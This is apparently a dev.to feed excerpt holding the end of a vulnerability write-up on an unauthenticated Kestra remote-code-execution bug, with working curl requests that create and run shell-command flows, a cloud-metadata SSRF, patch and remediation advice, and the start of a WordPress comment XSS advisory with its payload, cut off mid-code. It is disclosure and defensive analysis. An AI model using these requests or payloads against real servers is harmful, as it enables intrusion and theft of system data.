&lt;p&gt;Kestra OSS defaults to Basic Auth, and every API request passes through a single filter, &lt;code&gt;AuthenticationFilter&lt;/code&gt;. For each incoming request, it first decides whether that path is allowed through without authentication. Since the setup screen needs to read the server's base configuration (auth mode, feature flags) before any login has happened, the configuration-read endpoints (&lt;code&gt;GET /api/v1/configs&lt;/code&gt;, &lt;code&gt;GET /api/v1/{tenant}/configs&lt;/code&gt;) had to be the one exception.&lt;/p&gt;

&lt;p&gt;The line that broke it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="c1"&gt;// webserver/src/main/java/io/kestra/webserver/filter/AuthenticationFilter.java:49&lt;/span&gt;
&lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="n"&gt;isConfigEndpoint&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getPath&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;endsWith&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/configs"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;...;&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isConfigEndpoint&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;isOpenUrl&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;isManagementEndpoint&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;mcpAuthHandled&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;chain&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;proceed&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// auth skipped entirely&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Step-by-step source analysis
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsn6z8yd83spmxdwu8mjn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsn6z8yd83spmxdwu8mjn.png" alt=" " width="800" height="1387"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1 — "does it end in this string?" instead of "is this the exact path?"
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;endsWith("/configs")&lt;/code&gt; answers "does the tail of this request path match the string &lt;code&gt;/configs&lt;/code&gt;?" What the code actually needed to answer was "is this request the public config endpoint?" Those are different questions.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="s"&gt;"/api/v1/main/configs"&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;endsWith&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/configs"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;// → true : the intended path. No problem here.&lt;/span&gt;

&lt;span class="s"&gt;"/api/v1/main/flows/tutorial/configs"&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;endsWith&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/configs"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;// → true : a flow simply named "configs" passes the exact same check.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Kestra's REST API identifies resources by a caller-supplied name — &lt;code&gt;/flows/{namespace}/{flowId}&lt;/code&gt;, for instance. Set &lt;code&gt;flowId&lt;/code&gt; to &lt;code&gt;configs&lt;/code&gt;, and nearly every path related to that flow now ends in &lt;code&gt;/configs&lt;/code&gt;. &lt;code&gt;endsWith()&lt;/code&gt; has no way to tell a config-read request apart from a flow-management request; it waves both through identically.&lt;/p&gt;

&lt;p&gt;The list of routes this flaw could bypass turned out to be long:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Controller&lt;/th&gt;
&lt;th&gt;Bypassed pattern&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;FlowController&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PUT /api/v1/{tenant}/flows/{namespace}/configs&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Create/overwrite a flow&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ExecutionController&lt;/td&gt;
&lt;td&gt;&lt;code&gt;POST /api/v1/{tenant}/executions/{namespace}/configs&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Run a flow&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;KVController&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PUT /api/v1/{tenant}/namespaces/{namespace}/kv/configs&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Write to the key-value store&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FlowController&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DELETE /api/v1/{tenant}/flows/{namespace}/configs&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Delete flows&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DashboardController&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DELETE /api/v1/{tenant}/dashboards/configs&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Delete dashboards&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LogController&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DELETE /api/v1/{tenant}/logs/{namespace}/configs&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Destroy audit logs&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The combination of FlowController and ExecutionController is what drives the chain all the way to RCE.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2 — create a flow carrying a shell command, unauthenticated
&lt;/h3&gt;

&lt;p&gt;A single &lt;code&gt;PUT&lt;/code&gt; request, with no credentials attached, creates a flow named &lt;code&gt;configs&lt;/code&gt;. Set its task type to &lt;code&gt;io.kestra.plugin.scripts.shell.Commands&lt;/code&gt;, and it runs a list of shell commands whenever it executes.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; PUT &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/x-yaml"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s2"&gt;"http://&amp;lt;target&amp;gt;/api/v1/main/flows/tutorial/configs"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-binary&lt;/span&gt; &lt;span class="s1"&gt;'
id: configs
namespace: tutorial
tasks:
  - id: rce
    type: io.kestra.plugin.scripts.shell.Commands
    commands:
      - id
      - hostname
      - cat /etc/passwd'&lt;/span&gt;

&lt;span class="c"&gt;# → HTTP 200 OK (created with no credentials at all)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Because the request path &lt;code&gt;/api/v1/main/flows/tutorial/configs&lt;/code&gt; ends in &lt;code&gt;/configs&lt;/code&gt;, &lt;code&gt;AuthenticationFilter&lt;/code&gt; treats it exactly like the config-read endpoint and lets it straight through.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3 — run that flow, unauthenticated
&lt;/h3&gt;

&lt;p&gt;Creating the flow alone doesn't execute anything yet. The second request, which triggers execution, hits a path with the same ending, so it bypasses auth the same way.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s2"&gt;"http://&amp;lt;target&amp;gt;/api/v1/main/executions/tutorial/configs"&lt;/span&gt;

&lt;span class="c"&gt;# → {"id":"4eeB6vY7FT3mSj5FGYRrXW", "state":{"current":"RUNNING"}, ...}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 4 — the worker executes the plugin as root, completing the RCE
&lt;/h3&gt;

&lt;p&gt;At this point, a Kestra worker picks up the execution and runs the &lt;code&gt;shell.Commands&lt;/code&gt; task for real. Kestra installs over 80 script-execution plugins by default — shell, Python, Node, PowerShell, Go, and more — and the worker process runs inside its container as &lt;code&gt;uid=0(root)&lt;/code&gt; out of the box. A flow created through the auth bypass needs only one task — "run this shell command" — and that command executes with root privileges.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[INFO] uid=0(root) gid=0(root) groups=0(root)
[INFO] root:x:0:0:root:/root:/bin/bash
[INFO] daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
[DEBUG] Command succeed with exit code 0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The same works with the Python plugin:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; PUT &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/x-yaml"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s2"&gt;"http://&amp;lt;target&amp;gt;/api/v1/main/flows/tutorial/configs"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-binary&lt;/span&gt; &lt;span class="s1"&gt;'
id: configs
namespace: tutorial
tasks:
  - id: rce_python
    type: io.kestra.plugin.scripts.python.Script
    script: |
      import os
      print(os.popen("id &amp;amp;&amp;amp; hostname").read())'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 5 — retrieve the output from the logs, unauthenticated
&lt;/h3&gt;

&lt;p&gt;Finally, the execution's output (the command's stdout) is readable through the log search API — and that path also ends in a pattern matching &lt;code&gt;/configs&lt;/code&gt;, so it's viewable with no credentials either.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"http://&amp;lt;target&amp;gt;/api/v1/main/logs/search?executionId=4eeB6vY7FT3mSj5FGYRrXW"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Create, execute, retrieve&lt;/strong&gt; — three HTTP requests, none of them carrying an auth token or session cookie. An attacker never touches a login screen, yet runs arbitrary commands on the server and reads the output back directly.&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/3lKOZi5JtIU" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;




&lt;h2&gt;
  
  
  A secondary surface — SSRF via the Pebble template engine
&lt;/h2&gt;

&lt;p&gt;This auth bypass also combines with a second flaw. Kestra's workflow template engine (Pebble) exposes an &lt;code&gt;http()&lt;/code&gt; function that performs no validation on the URI it's given.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="c1"&gt;// core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java&lt;/span&gt;
&lt;span class="c1"&gt;// no allowlist, no private-IP filtering&lt;/span&gt;
&lt;span class="no"&gt;URI&lt;/span&gt; &lt;span class="n"&gt;uri&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;URI&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;create&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"uri"&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The researcher confirmed this lets a worker container reach a cloud metadata endpoint (&lt;code&gt;http://169.254.169.254/&lt;/code&gt;). On AWS, GCP, or Azure, that endpoint can leak the IAM credentials attached to the instance. The RCE alone is already severe, but this SSRF path is worth checking separately during incident response — it's the kind of exposure that a command-execution-only investigation can miss.&lt;/p&gt;




&lt;h2&gt;
  
  
  The patch — exact path matching instead of a suffix check
&lt;/h2&gt;

&lt;p&gt;Kestra 1.0.45 and 1.3.21 replaced the &lt;code&gt;endsWith()&lt;/code&gt;-based comparison with an exact path match. Authentication is now skipped only when the request path is precisely the real config-read path (&lt;code&gt;/api/v1/configs&lt;/code&gt;, &lt;code&gt;/api/v1/{tenant}/configs&lt;/code&gt;), so naming a flow &lt;code&gt;configs&lt;/code&gt; no longer exempts any path from authentication.&lt;/p&gt;

&lt;p&gt;The lesson here is a simple one. Any whitelist of auth-exempt paths needs an &lt;strong&gt;exact path match, not a suffix or substring check&lt;/strong&gt; — and that's especially true in a REST API where caller-supplied values become part of the path itself. It's worth auditing authentication logic anywhere for an &lt;code&gt;endsWith()&lt;/code&gt; or &lt;code&gt;contains()&lt;/code&gt; call that was meant to recognize one specific route.&lt;/p&gt;




&lt;h2&gt;
  
  
  Remediation
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Update immediately: 1.0.45 for the 1.0.x branch, 1.3.21 for 1.1.x through 1.3.x.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Restart the worker containers, not just the webserver process.&lt;/strong&gt; Privileged command execution happens in the worker, so an updated image with an old worker process still running continues to serve the vulnerable code path.&lt;/li&gt;
&lt;li&gt;A reverse proxy in front of Kestra doesn't mitigate this — the broken comparison runs inside Kestra's own filter chain, after the proxy has already forwarded the request. If patching isn't immediately possible, a proxy rule that allows only the exact &lt;code&gt;/api/v1/configs&lt;/code&gt; path can serve as a narrow stopgap, but it's not a substitute for the real fix.&lt;/li&gt;
&lt;li&gt;Treat the exposure window as a possible incident, not a closed ticket. Rotate any secrets, service credentials, and cloud IAM roles the worker could reach, and check flow and execution history for an unrecognized flow or execution named &lt;code&gt;configs&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>cve</category>
      <category>python</category>
    </item>
    <item>
      <title>CVE-2026-93485 Explained: How One WordPress Comment Can Hand Over the Server</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Sat, 10 Oct 2026 01:00:20 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-93485-explained-how-one-wordpress-comment-can-hand-over-the-server-2p81</link>
      <guid>https://dev.to/guidance_white/cve-2026-93485-explained-how-one-wordpress-comment-can-hand-over-the-server-2p81</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnud0o9pkts1tf7vfwuek.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnud0o9pkts1tf7vfwuek.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-93485&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Name&lt;/td&gt;
&lt;td&gt;Comment2XSS (originally disclosed as Comment2Shell)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected product&lt;/td&gt;
&lt;td&gt;WordPress Core&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;4.7 through 7.1 (below each branch's patched release)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;7.1.1 (backported to every supported branch: 7.0.5, 6.9.8, down to 4.7.36)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 3.1&lt;/td&gt;
&lt;td&gt;7.1 (High) — AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;CWE-79 (Stored XSS), escalable to RCE via an administrator session&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authentication required&lt;/td&gt;
&lt;td&gt;None — an anonymous comment is enough&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reported by&lt;/td&gt;
&lt;td&gt;Rafie Muhammad (Awesome Motive Inc.), via the WordPress HackerOne bug bounty&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;WordPress sanitizes a comment with KSES when it's saved, then reformats it with the &lt;code&gt;comment_text&lt;/code&gt; filter chain when it's displayed. Each step looks fine on its own, but &lt;strong&gt;the output-time filters interpret the saved result differently than the save-time sanitizer intended&lt;/strong&gt;, and an attack hides in that gap.&lt;/p&gt;

&lt;p&gt;The trigger is a single newline (&lt;code&gt;\n&lt;/code&gt;) inside the &lt;code&gt;cite&lt;/code&gt; attribute of a &lt;code&gt;&amp;lt;blockquote&amp;gt;&lt;/code&gt;. That newline trips a regex bug in &lt;code&gt;wpautop()&lt;/code&gt;, which turns what was originally plain text inside a &lt;code&gt;&amp;lt;code&amp;gt;&lt;/code&gt; tag into a real HTML attribute on the &lt;code&gt;&amp;lt;blockquote&amp;gt;&lt;/code&gt;. The result: an event handler like &lt;code&gt;onfocus&lt;/code&gt; comes alive, and the script runs the moment the page loads — no click required.&lt;/p&gt;

&lt;p&gt;What makes this worse is what happens next. If an administrator views that script while logged in, the script can borrow the admin's own plugin-install privilege. &lt;strong&gt;An anonymous visitor's comment can therefore chain all the way to remote code execution (RCE) on the server.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Where the flaw lives — the comment rendering pipeline
&lt;/h2&gt;

&lt;p&gt;Here's how WordPress handles a comment, start to finish:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;When a comment is submitted, KSES (&lt;code&gt;wp-includes/kses.php&lt;/code&gt;) strips any tag or attribute that isn't on its allowlist.&lt;/li&gt;
&lt;li&gt;When the stored comment is displayed, a chain of functions registered on the &lt;code&gt;comment_text&lt;/code&gt; filter rewrites the HTML again.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// wp-includes/default-filters.php:225-230&lt;/span&gt;
&lt;span class="nf"&gt;add_filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'comment_text'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'wptexturize'&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;add_filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'comment_text'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'convert_chars'&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;add_filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'comment_text'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'make_clickable'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;add_filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'comment_text'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'force_balance_tags'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;add_filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'comment_text'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'convert_smilies'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;add_filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'comment_text'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'wpautop'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two of these, &lt;code&gt;wpautop()&lt;/code&gt; and &lt;code&gt;wptexturize()&lt;/code&gt;, are the culprits. Both rewrite HTML, and the gap between their two different rewrites is exactly where the exploit lives.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fw0ivzmhqhuct00svug9q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fw0ivzmhqhuct00svug9q.png" alt=" " width="675" height="1282"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Step-by-step source analysis
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 1 — KSES doesn't block a newline inside &lt;code&gt;cite&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;An attacker posts the following comment anonymously:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;blockquote&lt;/span&gt; &lt;span class="na"&gt;cite=&lt;/span&gt;&lt;span class="s"&gt;"a
b"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;code&amp;gt;&lt;/span&gt;x" onfocus=alert(document.domain) autofocus tabindex=0&lt;span class="nt"&gt;&amp;lt;/code&amp;gt;&amp;lt;/blockquote&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;blockquote[cite]&lt;/code&gt; is on KSES's allowlist, so the tag itself passes through. The problem is in how the attribute value gets re-encoded.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// wp-includes/kses.php:1721-1727&lt;/span&gt;
&lt;span class="nv"&gt;$syntax_characters&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="s1"&gt;'&amp;amp;'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'&amp;amp;amp;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'&amp;lt;'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'&amp;amp;lt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'&amp;gt;'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'&amp;amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;"'"&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'&amp;amp;apos;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'"'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'&amp;amp;quot;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;wp_kses_hair()&lt;/code&gt; reads the attribute with &lt;code&gt;get_attribute()&lt;/code&gt;, which decodes HTML character references, then re-escapes only the characters in the table above. &lt;strong&gt;A newline is not in that table.&lt;/strong&gt; So &lt;code&gt;cite="a\nb"&lt;/code&gt; keeps its literal newline when stored. (The encoded form &lt;code&gt;cite="a&amp;amp;#10;b"&lt;/code&gt; works just as well, since WordPress converts it to a real newline before saving.)&lt;/p&gt;

&lt;p&gt;At this point it's still just "a blockquote with a line break in an attribute" — nothing dangerous yet.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2 — &lt;code&gt;wpautop()&lt;/code&gt; swaps the newline for an HTML comment
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;wpautop()&lt;/code&gt; auto-wraps paragraphs in &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags, which means it first has to tell apart a newline that sits &lt;em&gt;inside&lt;/em&gt; a tag from one that sits &lt;em&gt;between&lt;/em&gt; paragraphs. It does this by temporarily replacing in-tag newlines:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// wp-includes/formatting.php:502&lt;/span&gt;
&lt;span class="c1"&gt;// Find newlines in all elements and add placeholders.&lt;/span&gt;
